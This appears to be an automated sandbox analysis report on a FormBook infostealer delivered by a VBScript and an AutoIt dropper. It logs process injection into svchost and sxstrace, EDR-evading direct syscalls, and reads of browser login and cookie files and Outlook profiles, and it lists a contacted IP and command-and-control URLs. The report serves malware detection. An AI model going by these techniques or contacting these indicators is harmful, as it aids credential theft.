Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF16CC mov eax, dword ptr fs:[00000030h]	6_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF16CC mov eax, dword ptr fs:[00000030h]	6_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF16CC mov eax, dword ptr fs:[00000030h]	6_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF16CC mov eax, dword ptr fs:[00000030h]	6_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF6C7 mov eax, dword ptr fs:[00000030h]	6_2_03AEF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A616CF mov eax, dword ptr fs:[00000030h]	6_2_03A616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E627 mov eax, dword ptr fs:[00000030h]	6_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F626 mov eax, dword ptr fs:[00000030h]	6_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A66620 mov eax, dword ptr fs:[00000030h]	6_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05636 mov eax, dword ptr fs:[00000030h]	6_2_03B05636

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002AA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

5_2_002AA66C

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002981AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		5_2_002981AC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00298189 SetUnhandledExceptionFilter,		5_2_00298189

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 92.205.22.61 443

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtCreateMutant: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtWriteVirtualMemory: Direct from: 0x77462E3C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtMapViewOfSection: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtResumeThread: Direct from: 0x774636AC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtProtectVirtualMemory: Direct from: 0x77462F9C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtSetInformationProcess: Direct from: 0x77462C5C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtSetInformationThread: Direct from: 0x774563F9	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtNotifyChangeKey: Direct from: 0x77463C2C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtAllocateVirtualMemory: Direct from: 0x77462BFC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQueryInformationProcess: Direct from: 0x77462C26	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtResumeThread: Direct from: 0x77462FBC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtReadFile: Direct from: 0x77462ADC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQuerySystemInformation: Direct from: 0x77462DFC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtDelayExecution: Direct from: 0x77462DDC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtAllocateVirtualMemory: Direct from: 0x77463C9C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtClose: Direct from: 0x77462B6C
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtCreateUserProcess: Direct from: 0x7746371C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtWriteVirtualMemory: Direct from: 0x7746490C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtAllocateVirtualMemory: Direct from: 0x774648EC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQuerySystemInformation: Direct from: 0x774648CC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQueryVolumeInformationFile: Direct from: 0x77462F2C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtReadVirtualMemory: Direct from: 0x77462E8C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtCreateKey: Direct from: 0x77462C6C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtSetInformationThread: Direct from: 0x77462B4C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQueryAttributesFile: Direct from: 0x77462E6C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtDeviceIoControlFile: Direct from: 0x77462AEC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtOpenSection: Direct from: 0x77462E0C	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtCreateFile: Direct from: 0x77462FEC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtOpenFile: Direct from: 0x77462DCC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtQueryInformationToken: Direct from: 0x77462CAC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtTerminateThread: Direct from: 0x77462FCC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtAllocateVirtualMemory: Direct from: 0x77462BEC	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	NtOpenKeyEx: Direct from: 0x77462B9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: NULL target: C:\Windows\SysWOW64\sxstrace.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: NULL target: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: NULL target: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\sxstrace.exe

Thread register set: target process: 348

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\sxstrace.exe

Thread APC queued: target process: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2F1A008

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002AB106 LogonUserW,

5_2_002AB106

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_00273D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00273D19

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B411C SendInput,keybd_event,

5_2_002B411C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B74BB mouse_event,

5_2_002B74BB

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Process created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

5_2_002AA66C

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002B71FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

5_2_002B71FA

Source: x.exe, XG4tzkOqVF.exe, 00000008.00000002.2792454899.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000000.1822908751.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2792293164.00000000012C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: XG4tzkOqVF.exe, 00000008.00000002.2792454899.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000000.1822908751.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2792293164.00000000012C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: XG4tzkOqVF.exe, 00000008.00000002.2792454899.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000000.1822908751.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2792293164.00000000012C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: powershell.exe, 00000003.00000002.1624571484.000001FB9215D000.00000004.00000800.00020000.00000000.sdmp, x.exe, 00000005.00000000.1581761135.000000000031E000.00000002.00000001.01000000.00000008.sdmp, x.exe.3.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: XG4tzkOqVF.exe, 00000008.00000002.2792454899.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000000.1822908751.0000000001141000.00000002.00000001.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2792293164.00000000012C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002965C4 cpuid

5_2_002965C4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002C091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

5_2_002C091D

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002EB340 GetUserNameW,

5_2_002EB340

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002A1E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

5_2_002A1E8E

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0028DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_0028DDC0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: x.exe, 00000005.00000002.1603200769.000000000103A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procmon.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2792972085.0000000004140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2790772261.0000000002480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2792864686.00000000040F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1907342293.0000000008270000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2793021859.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1902206416.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1901321615.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2794868753.0000000005170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\sxstrace.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: x.exe	Binary or memory string: WIN_81
Source: x.exe	Binary or memory string: WIN_XP
Source: x.exe.3.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: x.exe	Binary or memory string: WIN_XPe
Source: x.exe	Binary or memory string: WIN_VISTA
Source: x.exe	Binary or memory string: WIN_7
Source: x.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2792972085.0000000004140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2790772261.0000000002480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2792864686.00000000040F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1907342293.0000000008270000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2793021859.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1902206416.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1901321615.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2794868753.0000000005170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C8C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		5_2_002C8C4F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		5_2_002C923B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	2 Valid Accounts	1 Native API	221 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	2 Valid Accounts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 Software Packing	LSA Secrets	261 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	512 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	512 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ADtours0121025.Vbs.vbs	3%	ReversingLabs
ADtours0121025.Vbs.vbs	5%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	DR/AutoIt.Gen8
C:\Users\user\AppData\Local\Temp\x.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://www.atc-secure.com//	100%	Avira URL Cloud	phishing
http://www.chiro.live/9pz6?gp=1&js=1&uuid=1737474431.0096675034&other_args=eyJ1cmkiOiAiLzlwejYiLCAiY	0%	Avira URL Cloud	safe
http://www.rtp189z.lat/i4k3/	0%	Avira URL Cloud	safe
http://www.serenepath.life/tubo/	0%	Avira URL Cloud	safe
http://www.rtp189z.lat/i4k3/?Nl=fejTbKPHkJIn7H3yMBMCji2paJGOYSbu1m0yekiKpAorbUbP1Jrf/5ta8QXBvolt5DQGGZ5JloOyDdLUYPAJ4V7U0fIp6X3bX3sSTq0brbS65VllHYHSIyfbzIYnXK6qhg==&mHttQ=0N2LBROh-F	0%	Avira URL Cloud	safe
http://www.jackys.shop/5ann/?Nl=4PTBgoI4Nk+6taqoVFprwB5aZoYGl9E6V/JZkPplqb8lwhYldWpADaEwQ8nNR5l8WRgTp7EOccAoFUesNBdOz+lLVvdTdlsMG1W1gc4df7uivOnQOybridBNZQsYkHcP7w==&mHttQ=0N2LBROh-F	0%	Avira URL Cloud	safe
http://www.celestial-guides.shop/r7y4/	0%	Avira URL Cloud	safe
